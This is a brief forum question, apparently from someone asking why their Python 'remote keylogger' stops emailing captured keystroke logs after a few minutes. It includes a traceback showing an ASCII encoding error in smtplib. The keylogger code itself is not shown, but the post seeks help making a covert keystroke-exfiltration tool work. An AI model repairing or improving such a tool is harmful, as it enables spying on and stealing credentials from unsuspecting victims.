I have this remote keylogger and it works fine at first to send the emails but after a few minutes it stops sending emails and it throws me this error:
Exception in thread Thread-25:
Traceback (most recent call last):
File "C:\Users\Lisandro0\AppData\Local\Programs\Python\Python37\lib\threading.py", line 926, in _bootstrap_inner
self.run()
File "C:\Users\Lisandro0\AppData\Local\Programs\Python\Python37\lib\threading.py", line 1177, in run
self.function(*self.args, **self.kwargs)
File "C:\Users\Lisandro0\Desktop\Desktop3\keylogger\crack.py", line 64, in report
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
File "C:\Users\Lisandro0\Desktop\Desktop3\Keylogger\crack.py", line 53, in sendmail
server.sendmail(email, email, message)
File "C:\Users\Lisandro0\AppData\Local\Programs\Python\Python37\lib\smtplib.py", line 855, in sendmail
msg = _fix_eols(msg).encode('ascii')
UnicodeEncodeError: 'ascii' codec can't encode character '\xf1' in position 312: ordinal not in range(128)
I would appreciate reading the code as it is short.
I appreciate any help